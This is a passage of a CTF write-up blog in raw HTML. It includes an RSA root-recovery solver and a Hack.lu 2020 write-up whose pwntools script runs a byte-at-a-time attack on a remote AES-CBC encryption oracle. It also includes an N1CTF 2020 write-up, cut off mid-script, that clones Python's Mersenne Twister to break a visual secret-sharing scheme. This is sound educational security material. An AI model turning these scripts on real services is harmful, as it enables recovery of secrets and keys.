<span class="n">rmodp</span> <span class="o">=</span> <span class="n">Mod</span><span class="p">(</span><span class="n">c</span> <span class="o">%</span> <span class="n">p</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span><span class="o">.</span><span class="n">nth_root</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="nb">all</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">rq</span> <span class="o">=</span> <span class="n">Mod</span><span class="p">(</span><span class="n">c</span> <span class="o">%</span> <span class="n">q</span><span class="p">,</span> <span class="n">q</span><span class="p">)</span><span class="o">.</span><span class="n">nth_root</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">for</span> <span class="n">rp</span> <span class="ow">in</span> <span class="n">rmodp</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">crt</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">rp</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">rq</span><span class="p">),</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="k">if</span> <span class="sa">b</span><span class="s2">"flag"</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div>
<p>which yields <code>flag{thanks_so_much_for_helping_me_with_these_primitive_primes}</code> :-) .</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Hack.lu 2020 - Pwnhub Collection [EN]2020-10-25T00:00:00+02:002020-10-25T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-10-25:/hacklu-2020-pwnhub-collection-en.html<h1>Pwnhub Collection</h1>
<p>This was a crypto (with a bit of reverse at the start) challenge at Hack.lu 2020, solved by 24 teams.</p>
<p>We were given a binary, <a href="https://w0nderland.fr/files/hacklu2020/oracle">oracle</a> and the connexion informations to interact with the same binary running on the server.</p>
<p>Taking a look at it in your …</p><h1>Pwnhub Collection</h1>
<p>This was a crypto (with a bit of reverse at the start) challenge at Hack.lu 2020, solved by 24 teams.</p>
<p>We were given a binary, <a href="https://w0nderland.fr/files/hacklu2020/oracle">oracle</a> and the connexion informations to interact with the same binary running on the server.</p>
<p>Taking a look at it in your favorite disassembler, we can notice that its compiled with AddressSanitizer, which makes the control-flow graph more complex.</p>
<p>In the main, we can see that it does the following :</p>
<ul>
<li>It asks for a category and a link</li>
<li>It reads the content of a file <code>src/key</code></li>
<li>Same with <code>src/iv</code></li>
<li>Same with <code>src/collection</code>, but it tries to parse its content this time.</li>
<li>it does some formatting using <code>sprintf</code></li>
<li>then some AES-CBC encryption, probably using the key and iv read before.</li>
<li>and finally prints the encrypted result</li>
</ul>
<p>The parsing consist of repeating the same thing 6 times :</p>
<p>It starts by finding the next space in the data, then finding the next newline, and splitting the current line on the space. Then it stores the two elements resulting of the splits, and go to the next line.
We can deduce that the <code>src/collection</code> file must have 6 lines, each composed of two words.</p>
<p>The program then sort and format the strings it just read, encrypt the result and prints it.</p>
<p>We can summarize what its doing by the following python scripts (without the sorting stuff, which does not really matters):</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/key"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">keyfd</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/iv"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">ivfd</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/collection"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">collfd</span><span class="p">:</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">ivfd</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">keyfd</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"category ?"</span><span class="p">)</span>
<span class="n">cate</span> <span class="o">=</span> <span class="nb">input</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"link ?"</span><span class="p">)</span>
<span class="n">link</span> <span class="o">=</span> <span class="nb">input</span><span class="p">()</span>
<span class="n">finalstr</span> <span class="o">=</span> <span class="n">cate</span> <span class="o">+</span> <span class="s2">"{"</span> <span class="o">+</span> <span class="n">link</span> <span class="o">+</span> <span class="s2">"}"</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">collfd</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">):</span>
<span class="n">start</span><span class="p">,</span><span class="n">end</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">)</span>
<span class="n">finalstr</span> <span class="o">+=</span> <span class="s2">" "</span> <span class="o">+</span> <span class="n">start</span> <span class="o">+</span> <span class="s2">"{"</span> <span class="o">+</span> <span class="n">end</span> <span class="o">+</span> <span class="s2">"}"</span>
<span class="n">finalstr</span> <span class="o">+=</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">finalstr</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Encrypted : </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">finalstr</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hex</span><span class="p">()))</span>
</code></pre></div>
<p>As our input is prepended to some string and then encrypted, that code is vulnerable to an "byte-at-a-time" attack, meaning we can take it as an encryption oracle (hence its name), and repeatedly call it with crafted categories and links to retrieve the content of the <code>src/collection</code> file on the server.</p>
<p>That type of attack is well described at many places on the net (its the same as the <a href="https://cryptopals.com/sets/2/challenges/12">ECB-byte-at-a-time on cryptopals</a> for instance) plus its not that hard to understand, so i wont describe it any further.</p>
<p>The only thing to watch out for is that our category and link are prepended as "category{link}", so we have to make sure that the link is aligned on a 16 bytes boundary in the final string, meaning we have to input a category 15 bytes long.</p>
<p>Here is my implementation of the attack :</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s1">'error'</span>
<span class="c1"># Stuff to test for the attack locally</span>
<span class="n">LOCAL</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">finalstr</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/key"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">keyfd</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/iv"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">ivfd</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"src/collection"</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">collfd</span><span class="p">:</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">ivfd</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">keyfd</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">collfd</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">):</span>
<span class="n">start</span><span class="p">,</span><span class="n">end</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">)</span>
<span class="n">finalstr</span> <span class="o">+=</span> <span class="s2">" "</span> <span class="o">+</span> <span class="n">start</span> <span class="o">+</span> <span class="s2">"{"</span> <span class="o">+</span> <span class="n">end</span> <span class="o">+</span> <span class="s2">"}"</span>
<span class="k">def</span> <span class="nf">local_oracle</span><span class="p">(</span><span class="n">cate</span><span class="p">,</span> <span class="n">link</span><span class="p">):</span>
<span class="n">plain</span> <span class="o">=</span> <span class="n">cate</span> <span class="o">+</span> <span class="s2">"{"</span> <span class="o">+</span> <span class="n">link</span> <span class="o">+</span> <span class="s2">"}"</span> <span class="o">+</span> <span class="n">finalstr</span>
<span class="n">plain</span> <span class="o">+=</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">16</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">plain</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span><span class="p">))</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">plain</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"plain=</span><span class="si">{}</span><span class="s2">, len=</span><span class="si">{}</span><span class="s2">, enc=</span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">plain</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span><span class="p">(),</span> <span class="nb">len</span><span class="p">(</span><span class="n">plain</span><span class="p">),</span> <span class="n">enc</span><span class="p">))</span>
<span class="k">return</span> <span class="n">enc</span>
<span class="k">def</span> <span class="nf">remote_oracle</span><span class="p">(</span><span class="n">cate</span><span class="p">,</span> <span class="n">payload</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"flu.xxx"</span><span class="p">,</span> <span class="mi">2010</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">cate</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">lstrip</span><span class="p">(</span><span class="s2">"category? link? encrypted: "</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">def</span> <span class="nf">encryption_oracle</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
<span class="n">category</span> <span class="o">=</span> <span class="s2">"a"</span><span class="o">*</span><span class="mi">15</span>
<span class="k">if</span> <span class="n">LOCAL</span><span class="p">:</span>
<span class="k">return</span> <span class="n">local_oracle</span><span class="p">(</span><span class="n">category</span><span class="p">,</span> <span class="n">payload</span><span class="p">)[</span><span class="mi">32</span><span class="p">:]</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">remote_oracle</span><span class="p">(</span><span class="n">category</span><span class="p">,</span> <span class="n">payload</span><span class="p">)[</span><span class="mi">32</span><span class="p">:]</span>
<span class="k">def</span> <span class="nf">attack</span><span class="p">(</span><span class="n">blocksize</span><span class="p">,</span> <span class="n">known</span><span class="p">):</span>
<span class="n">index</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">known</span><span class="p">)</span> <span class="o">//</span> <span class="n">blocksize</span>
<span class="n">prefix</span> <span class="o">=</span> <span class="s1">'a'</span> <span class="o">*</span> <span class="p">(</span><span class="n">blocksize</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">known</span><span class="p">)</span> <span class="o">%</span> <span class="n">blocksize</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">lookup</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">substring</span> <span class="o">=</span> <span class="n">encryption_oracle</span><span class="p">(</span><span class="n">prefix</span><span class="p">)[</span><span class="mi">32</span> <span class="o">*</span> <span class="n">index</span><span class="p">:</span><span class="mi">32</span> <span class="o">*</span> <span class="p">(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">):</span>
<span class="n">char</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
<span class="n">idx</span> <span class="o">=</span> <span class="n">encryption_oracle</span><span class="p">(</span><span class="n">prefix</span><span class="o">+</span><span class="n">known</span><span class="o">+</span><span class="n">char</span><span class="p">)[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">32</span><span class="p">:(</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">32</span><span class="p">]</span>
<span class="k">if</span> <span class="n">idx</span> <span class="o">==</span> <span class="n">substring</span><span class="p">:</span>
<span class="k">return</span> <span class="n">char</span>
<span class="n">plain</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">while</span> <span class="n">attack</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="n">plain</span><span class="p">)</span> <span class="o">!=</span> <span class="kc">None</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">plain</span><span class="p">)</span>
<span class="n">plain</span> <span class="o">+=</span> <span class="n">attack</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="n">plain</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"plain : "</span><span class="p">,</span> <span class="n">plain</span><span class="p">)</span>
</code></pre></div>
<p>It takes approximately ~45 minutes to retrieve the two first lines of the file (the flag is in the second line), and i didn't note it so i won't put it there :P.</p>N1CTF 2020 - VSS [EN]2020-10-19T00:00:00+02:002020-10-19T00:00:00+02:00Antoxydetag:w0nderland.fr,2020-10-19:/n1ctf-2020-vss-en.html<h1>VSS</h1>
<p>This was a crypto challenge at N1CTF 2020, solved by 38 teams.</p>
<p>We are given a script, <a href="https://w0nderland.fr/files/n1ctf2020/vss.py"><code>vss.py</code></a> and an image, <a href="https://w0nderland.fr/images/n1ctf2020/share2.png"><code>share2.png</code></a>.</p>
<h2>Analysis of the problem</h2>
<p>The script implements a (2,2) <a href="https://en.wikipedia.org/wiki/Visual_cryptography">Visual Secret Sharing Scheme</a>. The shared image is a QRcode encoding the flag.</p>
<p>One can …</p><h1>VSS</h1>
<p>This was a crypto challenge at N1CTF 2020, solved by 38 teams.</p>
<p>We are given a script, <a href="https://w0nderland.fr/files/n1ctf2020/vss.py"><code>vss.py</code></a> and an image, <a href="https://w0nderland.fr/images/n1ctf2020/share2.png"><code>share2.png</code></a>.</p>
<h2>Analysis of the problem</h2>
<p>The script implements a (2,2) <a href="https://en.wikipedia.org/wiki/Visual_cryptography">Visual Secret Sharing Scheme</a>. The shared image is a QRcode encoding the flag.</p>
<p>One can notice that <code>share2.png</code> is a 888x888 image, meaning that the original image is 444x444 (each original pixels is encoded in 4 new pixels in each share)
By generating another 444x444 QRcode , we can notice that there is a quite a lot of white space on each side of the QRcode.</p>
<p><img alt="A random 444x444 Qrcode" src="https://w0nderland.fr/images/n1ctf2020/qrcode.png"></p>
<p>The implementation of the scheme uses Python's random module, which is not a Cryptographically Secure PRNG. This module uses the MT19937 PRNG under the hood, which is known to be cloneable with at least 32 * 624 bits of output (the size of its internal state).</p>
<h1>Python's getrandbits</h1>
<p>Lets take a look at how getrandbits works. In the script, the color of the share's pixels depends on the <code>flipped_coins</code> variable, which is initialised as follows :</p>
<p><code>flipped_coins = [int(bit) for bit in bin(random.getrandbits(m*n))[2:].zfill(m*n)]</code></p>
<p>We know that MT19937 is using 32 bits values in its internal state. When getranbits is called with a value greater than 32, say 64 for example, it will get two dwords from its states, and prepend the second one to the MSBs of the first one.
One can verify this using the following scripts:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">random</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">getstate</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
<span class="n">random</span><span class="o">.</span><span class="n">setstate</span><span class="p">(</span><span class="n">state</span><span class="p">)</span> <span class="c1"># reset the module</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">64</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"MSB: "</span><span class="p">,</span> <span class="n">c</span> <span class="o">==</span> <span class="p">(</span><span class="n">b</span> <span class="o"><<</span> <span class="mi">32</span><span class="p">)</span> <span class="o">|</span> <span class="n">a</span><span class="p">)</span>
</code></pre></div>
<p>which yields</p>
<div class="highlight"><pre><span></span><code><span class="n">MSB</span><span class="o">:</span> <span class="n">True</span>
</code></pre></div>
<p>That means that if we want to recover the whole <code>flipped_coins</code> array, we will need to know its lasts 32 * 624 bits , and not its 32*624 firsts, as one would expect (yes i struggled on this :P).</p>
<p>We can count how many pixels of known color (white) we have at the bottom, before the qrcode starts.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">qrcode</span>
<span class="n">content</span> <span class="o">=</span> <span class="s2">"here is whats a great long long fake flag"</span>
<span class="n">qr</span> <span class="o">=</span> <span class="n">qrcode</span><span class="o">.</span><span class="n">QRCode</span><span class="p">(</span>
<span class="n">version</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span>
<span class="n">error_correction</span><span class="o">=</span><span class="n">qrcode</span><span class="o">.</span><span class="n">constants</span><span class="o">.</span><span class="n">ERROR_CORRECT_L</span><span class="p">,</span>
<span class="n">box_size</span><span class="o">=</span><span class="mi">12</span><span class="p">,</span>
<span class="n">border</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span>
<span class="p">)</span>
<span class="n">qr</span><span class="o">.</span><span class="n">add_data</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="n">qr</span><span class="o">.</span><span class="n">make</span><span class="p">(</span><span class="n">fit</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">qr</span><span class="o">.</span><span class="n">make_image</span><span class="p">(</span><span class="n">fill_color</span><span class="o">=</span><span class="s2">"black"</span><span class="p">,</span> <span class="n">back_color</span><span class="o">=</span><span class="s2">"white"</span><span class="p">)</span>
<span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'myqr.png'</span><span class="p">)</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">"myqr.png"</span><span class="p">)</span>
<span class="n">pixs</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">m</span><span class="p">,</span><span class="n">n</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span>
<span class="k">assert</span><span class="p">(</span><span class="n">n</span> <span class="o">==</span> <span class="n">m</span> <span class="o">==</span> <span class="mi">444</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">m</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span> <span class="c1"># Counting at the bottom of the image</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="k">if</span> <span class="n">pixs</span><span class="p">[</span><span class="n">j</span><span class="p">,</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">first_black_offset</span> <span class="o">=</span> <span class="n">i</span> <span class="o">*</span> <span class="n">n</span> <span class="o">+</span> <span class="n">j</span>
<span class="n">known_white</span> <span class="o">=</span> <span class="n">m</span><span class="o">*</span><span class="n">n</span> <span class="o">-</span> <span class="n">first_black_offset</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Number of bits known: </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">known_white</span><span class="p">))</span>
<span class="n">exit</span><span class="p">()</span>
</code></pre></div>
<p>This yields <code>Number of bits known: 21708</code>, which is greater than 32*624 = 19968.</p>
<p>Its enough for us to be able to clone and predict the output of the random's module for the rest of the image.</p>
<h2>Putting it all together</h2>
<p>I didn't bother to reimplement the cloning stuff, I've used the <a href="https://github.com/kmyk/mersenne-twister-predictor">MT19937-Predictor</a> library to do so. If you are not familliar with MT19937 cloning, i recommend you to check <a href="https://cryptopals.com/sets/3/challenges/23">this cryptopals challenge</a> (or search for the technique on the net , its well known and there are plenty of articles on the subject).</p>
<p>Here is the implementation of the above attack :</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">qrcode</span> <span class="c1"># https://github.com/lincolnloop/python-qrcode</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">from</span> <span class="nn">mt19937predictor</span> <span class="kn">import</span> <span class="n">MT19937Predictor</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">"share2.png"</span><span class="p">)</span>
<span class="n">pixs</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">bits</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">m</span><span class="p">,</span><span class="n">n</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span>
<span class="c1"># Retrieve the whole bit string</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">m</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">):</span>
<span class="n">p1</span> <span class="o">=</span> <span class="n">pixs</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">j</span><span class="p">,</span> <span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">]</span>
<span class="c1"># we assume that the pixels are all white (which is true for the lasts lines at the bottom)</span>
<span class="c1"># so p1 is color0, which is set to 0 if flipped_coins[idx] is True.</span>
<span class="k">if</span> <span class="n">p1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">bits</span> <span class="o">+=</span> <span class="s2">"1"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">bits</span> <span class="o">+=</span> <span class="s2">"0"</span>
<span class="n">predictor</span> <span class="o">=</span> <span class="n">MT19937Predictor</span><span class="p">()</span>
<span class="c1"># Feed the last 32*624 bits to the predictor, which is now able to clone the generator</span>
<span class="n">predictor</span><span class="o">.</span><span class="n">setrandbits</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="o">-</span><span class="mi">32</span><span class="o">*</span><span class="mi">624</span><span class="p">:],</span> <span class="mi">2</span><span class="p">),</span> <span class="mi">32</span><span class="o">*</span><span class="mi">624</span><span class="p">)</span>
<span class="c1"># Recreate the upper part of flipped coins, ie the m*n values minus the 32*624 we already know</span>
<span class="n">upper</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">bit</span><span class="p">)</span> <span class="k">for</span> <span class="n">bit</span> <span class="ow">in</span> <span class="nb">bin</span><span class="p">(</span><span class="n">predictor</span><span class="o">.</span><span class="n">getrandbits</span><span class="p">((</span><span class="n">m</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span> <span class="o">-</span> <span class="mi">32</span> <span class="o">*</span> <span class="mi">624</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]</span><span class="o">.</span><span class="n">zfill</span><span class="p">((</span><span class="n">m</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">n</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span> <span class="o">-</span> <span class="mi">32</span><span class="o">*</span><span class="mi">624</span><span class="p">)]</span>
<span class="c1"># Combine the two</span>
